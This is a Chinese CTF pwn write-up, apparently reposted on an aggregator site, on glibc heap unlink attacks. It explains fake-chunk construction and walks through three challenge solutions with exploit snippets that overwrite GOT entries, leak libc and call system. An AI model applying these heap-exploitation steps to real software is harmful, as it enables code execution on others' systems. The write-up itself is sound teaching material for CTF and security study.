概述
CTF用户态pwn总结(二) Unlink
unlink是CTF中非常常见的一种题型
unlink时的一些性质
unlink是在free掉一个chunk的时候,如果与之相邻的chunk是free状态,并且不是投票chunk时,会将chunk从原来的链表中unlink,并触发合并,fast bin并不会触发合并,只有当满足条件触发fast bin合并时,即当申请的chunk大小大于fast bins,在搜素smallbins之前,会将相邻的fastbins chunk合并。
unlink检查
unlink时需要检查chunk的fd指向的chunk的bk是否指向当前chunk,bk指针指向的fd是否指向当前chunk。
unlink最终实现的效果
unlink最终会实现任意地址写,但写的东西是固定的地址,将fd地址+0x18写为chunk的bk,将bk+0x10写入chunk的fd。如果是个全局变量存储每个chunk的地址,即可通过edit改写全局变量。
例题
CTF题目常见的一种unlink是题目中存在一个全局变量数组,用这个数组存储malloc之后的指针。如此,只要覆盖申请出来的一块chunk的fd为全局变量-0x10,bk为-0x18,这样即可通过检查。
例1hitcon ctf stkof:
此题存在一个可以无限写的函数,属于最简单的一种unlink,直接通过堆溢出改写chunk结构。
#假设全局变量为example
alloc(0x30)#0
alloc(0x80)#1
alloc(0x20)#2
alloc(0x30)#3
alloc(0x40)#4
payload = p64(0x0)+p64(0x30)+p64(example - 0x18)+p64(example - 0x10)
example 第一项存储的是0的地址,因此将0的fd和bk改了之后,可以绕过检查
payload += ‘a’*0x10+p64(0x30)+p64(90)
free(1)#
触发unlink example[0]的值变为了 example-0x18
这个时候通过编辑example[0]即可实现对整个数组的控制。其后通过将free的got地址放入数组中的某一项,比如放入example[2],然后改写free的got表地址为puts的plt地址
payload = “”
payload += p64(puts_got)+p64(free_got)+p64(atoi_got)
edit(0,‘a’*0x18+payload)
edit(1,p64(puts_plt))
此时可以通过free(0),这时会puts(puts_got),打印了puts的got表地址,成功leak libc。有了libc之后,通过偏移量得倒system的地址,再利用同样的原理将got表改为system即可。至于"/bin/sh"可以随便放在一个chunk里面。
例2网鼎杯的一道pwn
babyheap
这题的考察点在于,对chunk size的大小进行了限制,只能分配0x30大小的chunk,而且没有溢出,不能改写下一个chunk的size位的大小。但是这个题存在一个use after free漏洞,我们采取的利用思路是: 首先通过use after free 打印fast bins chunk,泄漏堆地址,之后我们改写链表尾部chunk的fd指针,使分配直接在堆上,从而覆盖一个chunk的size位,之后在堆上再伪造一块free chunk,触发unlink。
alloc(0,‘A’*0x18+p64(0x31))
alloc(1,‘A’*0x18+p64(0x31))
alloc(2,‘A’*0x18+p64(0x31))
注意不要忘记伪造size位,以便于下面用来在此地申请chunk,从而改写fast bins 的大小
free(0)
free(1)
free(2)
show(2)
p = s.recvuntil(‘Done’)
p = p.ljust(8,’x00’)
heap = u64§
此时收到的fd的指针是指向1的,因为fastbins 链表是后进先出
heap_base = heap - 0x30
edit(2,p64(heap_base+0x20))
heap的地址的到了,如何得到libc的基址呢?我们需要精心构造chunk,以便于我们
改写2的fd
alloc(3,‘a’)
alloc(4,p64(0)+p64(0x101))
改写了1的size,下面需要伪造chunk
alloc(5,‘a’)
alloc(6,p64(0x0)+p64(0x41)+p64(example - 0x18)+p64(example - 0x10))
example 为全局变量数组存放第6个chunk位置
alloc(7,‘a’*0x10+p64(0x40)+p64(0x40))
free(1)
####这个时候free 1,因为1的size满足small bins,会触发unlink,0x101的位置位于7中,是我们伪造的chunk,其pre_size是0x40,向前0x40正好是位于6中我们伪造的一个chunk中,会将其unlink下来,如此就可以将地址写入。之后的利用同上一个例子,改写got表。不过,有show,可以直接打印got表泄漏libc,不需要再改free了
例三
hitcon ctf sleepy holder
再进阶,增加限制只能申请40 4000 400000的chunk。而且只能申请三次,不能像上一题一样无限申请实现扩增fast bin chunk unlink。所以这题利用的是fast bins consolidate
small middle big chunk都只能存在一个:
add(‘small’,‘a’)
delete(‘small’)
add(‘middle’,‘b’)
此时small chunk的fast bins chunk进入了unsorted bins,并将middle chunk的pre in use 位值0
add(‘big’,‘c’)
delete(‘small’)
此时double free ,将small chunk再次放入了fast bins。这样做的目的是再次申请的时候维持middle chunk的pre in use 位继续保持0
payload = p64(0)+p64(0x21)+p64(example - 0x18)+p64(example - 0x10)+p64(0x20)
伪造好了unlink的fake chunk,这个时候free middle即可实现unlink,改写全局变量,剩下的利用方法同例一例二
free(‘middle’)
下一篇准备更新large bin attack,一般需要结合off by null和off by one。large bin attack并没有fast bin 和unlink常见,一般作为难得分题
最后
以上就是成就墨镜为你收集整理的CTF用户态pwn总结(二) UnlinkCTF用户态pwn总结(二) Unlink的全部内容,希望文章能够帮你解决CTF用户态pwn总结(二) UnlinkCTF用户态pwn总结(二) Unlink所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复